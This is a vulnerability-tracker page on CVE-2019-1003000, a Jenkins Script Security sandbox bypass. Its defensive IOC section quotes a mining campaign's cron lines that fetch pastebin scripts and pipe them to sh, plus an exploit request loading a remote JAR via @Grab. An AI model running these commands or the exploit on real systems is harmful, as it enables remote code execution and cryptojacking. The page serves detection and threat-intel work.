cbcvebase.
CVE-2019-1003000
published 2019-01-22

CVE-2019-1003000: A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySand…

PriorityP189high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
98.43%
99.9th percentile
A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java that allows attackers with the ability to provide sandboxed scripts to execute arbitrary code on the Jenkins master JVM.

Affected

6 ranges
VendorProductVersion rangeFixed in
jenkinsdeclarative_plugin
jenkinsgroovy_plugin
jenkinsscript_security<= 1.49
jenkinsscript_security_plugin
jenkins_projectscript_security_plugin
redhatopenshift_container_platform

Detection & IOCsextracted from sources · hover to see the quote

urlhttps://pastebin.com/MjGrx7EA
domaingwjyhs.com
domainimg.sobot.com
command*/10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
command*/15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
command*/15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh
filenamekerberods
filenamekhugepageds
path/usr/local/lib/{random filename}.c
path/usr/local/lib/{random filename}.so
domainsystemten.org
port51640
hasha9228b6a3fe0b8375d6b881626fd4b59fbbf54dbd60a94b085ee0455b3d18fe9
hash25064a5ab78cdd36e7049d00b9319222906dd634908c1858e2262bf333631213
hash3392589c9ebbf7600035574e338d69625cd5ce83ee655582fe8bbadb663532b3
hashfbbb28ed10c792b4a29748795cba26f78d28cf13d8b7b042d6de4f3ea1401399
hash3a6271a90d0f6cc8a2d31d45d931e8401f13f7377932ba07d871dc42f252b9ca
hash63c7f944bf8b9f4db9a8cf6d47a6d4026bba776478c1315c2888ecff603d73a1
hash1608899ff3bd9983df375fd836464500f160f6305fcc35cfb64abbe94643c962
hashf6712249b3c27772daf815d459577c2c88a3aef6b66dfd0986ac9277a8bb35e1
hashea682b4aa3885657fe15f76cc3f97322547ca21f347069cd3c78b152a0155781
hash5eda73b869c22f92c78547995acbba5ff794ea24f5da72af2d653600411d6c97
hash3f8683fa08a5ae5964f4ee4962465b16c12075480e24a269d151ce1130c77d8c
hashb383d0fdfa5036ccfa5d9c2b43cbfd814bce8778
urlhttp://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
path/usr/sbin/kerberods
urlhttps://pastebin.com/raw/60T3uCcb
urlhttps://pastebin.com/raw/rPB8eDpu
port8080
filenameMETA-INF/services/org.codehaus.groovy.plugins.Runners
  • Detect exploit attempts targeting the Jenkins Script Security sandbox bypass via the checkScriptCompile endpoint with @Grab/@GrabResolver Groovy metaprogramming annotations in the 'value' parameter
  • Detect ACL bypass pattern in Jenkins HTTP requests: path traversal through /securityRealm/user/admin/ to reach /descriptorByName/ endpoints that should require higher privileges
  • Alert on cron jobs containing curl or wget fetching from pastebin.com and piping directly to sh — a persistence and update mechanism used by this campaign
  • Detect outbound mining traffic to systemten.org on port 51640 — the XMRig proxy used by this campaign to hide wallet and pool details
  • Monitor Jenkins HTTP access logs for requests to /securityRealm/user/*/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile or /checkScript with sandbox=true and executable Groovy payloads
  • Fortinet IPS signature 'Jenkins.Script.Plugin.Authenticated.Remote.Command.Execution' covers exploitation of CVE-2019-1003000
  • Detect delivery of a JAR file containing META-INF/services/org.codehaus.groovy.plugins.Runners — the malicious JAR structure used in the Groovy metaprogramming RCE exploit
  • ·The exploit requires the attacker to have an authenticated session (at minimum a low-privilege account) to reach the vulnerable checkScriptCompile/checkScript endpoints; unauthenticated exploitation requires chaining with CVE-2018-1000408 ACL bypass via /securityRealm/user/admin/ path traversal
  • ·The Groovy @Grab payload requires the Jenkins master to have outbound HTTP access to an attacker-controlled server to fetch the malicious JAR; environments with egress filtering may block this stage
  • ·Pastebin URLs used as C2 and payload delivery change every few days, making static URL-based blocking insufficient; behavioral detection of curl/wget-to-sh patterns is more durable
  • ·The miner configuration (wallet address, pool) is embedded in the binary rather than a dropped config file in newer variants, reducing the value of config-file-based IOCs

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.